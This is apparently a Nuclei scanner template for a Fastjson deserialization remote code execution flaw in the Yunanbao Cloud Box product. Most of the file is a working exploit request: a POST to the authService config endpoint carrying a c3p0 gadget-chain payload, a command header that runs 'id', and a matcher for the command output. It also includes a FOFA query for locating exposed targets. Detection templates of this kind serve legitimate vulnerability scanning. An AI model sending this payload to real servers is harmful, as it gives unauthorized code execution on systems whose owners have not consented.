id: yunanbao-rce

info:
  name: Yunanbao Cloud Box FastJson - Deserialization Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    The authService interface of Cloud Box uses the vulnerable fastjson component. Unauthorized attackers can launch attacks on Cloud Box through the fastjson serialization vulnerability to obtain server permissions.
  reference:
    - https://github.com/wy876/POC/blob/main/%E4%BA%91%E5%8C%A3%E5%AD%90%E5%A0%A1%E5%9E%92%E6%9C%BAfastjson%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="云安宝-云匣子"
  tags: yunanbao,rce,cloud-box,vuln

http:
  - raw:
      - |
        POST /3.0/authService/config HTTP/1.1
        Host: {{Hostname}}
        Cmd: id
        Content-Type: application/json;charset=utf-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}
        Accept-Encoding: gzip

        {
            "a": {
                "@type": "java.lang.Class",
                "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
            },
            "b": {
                "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
                "userOverridesAsString": "HexAsciiSerializedMap:[encoded data, 18694 characters];"
            }
        }

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=([a-z=0-9() ]+) gid=([a-z=0-9() ]+) groups=([a-z=0-9() ]+)'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022017e599be3cba7dcfdb481fb6aa5691a5e24a12c1b612607679c6b38ab8291d3f022100994d349bdd2e4777d1a72538f8d74f08d861835fcd88483a02f549c1df78e694:922c64590222798bb761d5b6d8e72950